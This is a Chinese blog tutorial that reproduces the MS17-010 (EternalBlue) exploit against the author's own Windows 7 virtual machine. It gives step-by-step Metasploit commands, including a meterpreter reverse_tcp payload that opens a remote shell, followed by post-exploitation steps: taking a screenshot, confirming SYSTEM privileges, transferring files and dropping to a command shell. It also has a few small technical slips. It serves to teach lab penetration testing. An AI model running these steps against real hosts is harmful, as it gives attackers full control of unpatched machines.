ms17-010(永恒之蓝)漏洞复现

479 阅读8分钟

前言

ms17-010(永恒之蓝)利用的端口是445端口。

本文主要讲解ms17-010(永恒之蓝)漏洞复现,分为四个部分:了解渗透测试流程 ,使用nmap工具对win7进行扫描,尝试ms17-010漏洞利用,结果展示。第一部分“了解渗透测试流程”可以略过,可以直接从第二部分“使用nmap工具对win7进行扫描”开始看起。


一、了解渗透测试流程 

这里简单介绍一下渗透测试流程 :

  1. 信息收集:使用网络扫描工具(如Nmap)进行主机发现和端口扫描,以获取目标系统的基本信息。也可以通过搜索引擎、WHOIS查询和公开数据库来获取更多的信息。
  2. 脆弱性分析:使用漏洞扫描工具(例如OpenVAS、Nessus或Nexpose)来识别目标系统中存在的已知漏洞。同时也可以手动进行代码审计、配置文件分析和渗透测试专用的脆弱性检测工具。
  3. 漏洞利用:一旦确定存在漏洞,渗透测试人员可以使用各种渗透工具和技术来利用这些漏洞。例如,使用Metasploit框架进行自动化攻击、编写自定义的Exploit代码或使用社会工程学技术进行钓鱼攻击。
  4. 权限维持:在成功获取系统访问权限后,渗透测试人员可能会尝试维持该权限以进一步深入探索目标网络。这可能包括创建后门、提权、横向移动和隐藏攻击足迹等技术手段。
  5. 数据分析:渗透测试人员会对从目标系统中获取的数据进行分析,以发现潜在的攻击路径和弱点。同时,还可以使用日志分析工具和网络流量分析工具来辅助分析。
  6. 清理和报告:在完成渗透测试后,及时清理测试痕迹以减少安全风险。然后,渗透测试人员会生成详细的报告,包括发现的漏洞、影响评估和建议的修复措施,以帮助目标组织加强安全措施。

需要强调的是,进行渗透测试时应事先获得授权,并始终遵守法律和道德准则。渗透测试是一种为了提升系统安全性而进行的评估活动,目的是帮助组织发现和修复潜在的漏洞,提升整体的安全水平。

二、使用nmap工具对win7进行扫描

Nmap(Network Mapper)是一个开源的网络扫描和端口扫描工具。它被用于发现网络上的主机、端口和服务,以及评估网络的安全性。Nmap具有强大的功能,可以进行主机发现、端口扫描、操作系统识别、服务和应用程序版本检测等。它被广泛应用于网络管理员、安全专家和黑客等领域。

2.1

进入已经在虚拟机中搭配好的kali环境,打开kali终端。输入

sudo su

获得root权限。

2.2

输入

ifconfig

查看kali的IP地址。

这里我的kali的IP地址是192.168.216.129。

2.3

打开已经在虚拟机中搭配好的win7环境,win+r调出命令行,输入

ifconfig

查看win7的IP地址。

这里我的win7的IP地址是192.168.216.128。

2.4

返回kali,输入

ping 192.168.216.128 -c 4

查看它们的网络是否能互通。注意如果没有设置ping的次数,kali会一直ping,所以这里要加入一些参数来限制ping的次数,-c 4的意思就是ping4次。

必须互相ping通才能开始攻击,这里kali,win7使用的是同一个网络模式:NAT模式。

2.5

当kali和win7能够互相通信后,我们再利用Nmap对win7进行信息收集。输入

nmap 192.168.216.128 -sS

我的扫描结果是:

port:接口,state:状态,service:服务程序。

扫描的结果显示,win7开放了21,135,138,445,3389等端口。

ms17-010(永恒之蓝)利用的端口就是445端口。

三、尝试ms17-010漏洞利用

ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码,将目标系统中的所有文件加密并威胁用户付款。由于该漏洞易受攻击,且已经公开和广泛利用,因此建议 Windows 系统用户及时进行安全更新以避免被攻击。对于其渗透测试相关应用,可以使用 Metasploit 和其他渗透测试框架进行利用和测试。

3.1

在kali环境中,输入

msfconsole

Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit, 而且Metasploit框架在这些系统上的工作流程基本都一样。本章中的示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。Kali系统的下载地址为www.kali.org/downloads/

Metasploit框架(Metasploit Framework, MSF)是一个开源工具, 旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLI)。推荐使用控制台接口,通过控制台接口,你可以访问和使用所有Metasploit的插件,例如Payload、 利用模块、Post模块等。 Metasploit还有第三方程序的接口,例如Nmap、SQLMap等, 可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole。

msfconsole和metasploit的关系:msfconsole是metasploit的一个交互式命令行接口。

3.2

继续输入

search ms17-010

可以得到很多模块:

exploit是攻击模块,auxiliary是辅助模块。

3.3

这里我们采用第三个模块,输入

use 3

3.4

接着输入

show options

查看对应的配置信息:

yes表示是你必须要填写的一些信息。这里缺少rhosts,也就是你要攻击的目标IP地址。

3.5

设置一个要攻击的IP

set rhosts 192.168.216.128

192.168.216.128是我的虚拟机win7地址。

3.6

直接run

run

结果如图:

没有报错,结果显示我们可以直接利用ms17-010(永恒之蓝)这个漏洞

3.7

真正攻击使用的模块是use 0,输入

use 0

结果如图:

3.8

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

meterpreter是一种渗透工具,reverse_tcp的意思是采用反向连接。反向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制。

3.9

查看还要配置的东西,输入

show options

我这里缺少rhosts和lhost

3.10

把缺少的补上,输入

set rhosts 192.168.216.128

192,168.216.128是被攻击的win7的IP地址。

继续输入

set lhost 192.168.216.129

192,168.216.129是发动攻击的kali的IP地址。

3.11

前面步骤弄好后,run一下发动攻击。

run

WIN,攻击成功了!!!

通过kali接管了win7!!!

四、结果展示

4.1

继续在kali终端输入

screenshot

screenshot是指对屏幕或特定应用程序界面进行截图或屏幕截取的操作。

意思是已经将win7系统页面截图,并将图片命名为giSWaQ0g.jpeg,保存在kali桌面上。

在kali桌面上。

4.2

查看获得的权限,输入

getuid

"NT AUTHORITY\SYSTEM" 是指 Windows 操作系统中的一个内置的系统用户账户。"NT AUTHORITY" 是一个特殊的身份验证提供者,用于表示操作系统级别的权限。"SYSTEM" 是指代该账户是以系统级别权限运行的。

"NT AUTHORITY\SYSTEM" 账户具有非常高的权限,在 Windows 系统中拥有完全的访问权限,可以对系统文件、注册表和其他系统资源进行操作。它通常被系统服务、操作系统进程和某些应用程序使用,用于运行关键任务和操作。

该账户拥有极高的权限,要谨慎使用和修改与其相关的设置,不当的更改可能会导致系统不稳定或运行故障。一般情况下,普通用户无法直接登录或操作 "NT AUTHORITY\SYSTEM" 账户。

4.3

接下来将giSWaQ0g.jpeg图片上传到win7里面,这里将giSWaQ0g.jpeg重命名为filotimo.jpg,输入

upload /home/kali/Desktop/1.jpg c://filotimo.jpg

可以在win7系统c盘中看到出现了一张名为filotimo.jpg的图片。

这里你甚至可以上传木马,什么都可以!!!

4.4

下载可以在kali终端继续输入

download c://filotimo.jpg /home/kali/Desktop/2.jpg

这是将win7里的filotimo.jpg图片下载到了kali桌面上,并重命名为2.jpg。

这里可以看到kali桌面上出现了一个2.jpg。

4.5

在kali终端中继续输入

shell

此命令可以进入win7的cmd命令行。


总结

更多实验结果我就不一一展示了。此次漏洞复现我是用自己的虚拟机环境kali攻击自己的另一个虚拟机环境win7,如果你们要复现的话,我也建议拿自己试手。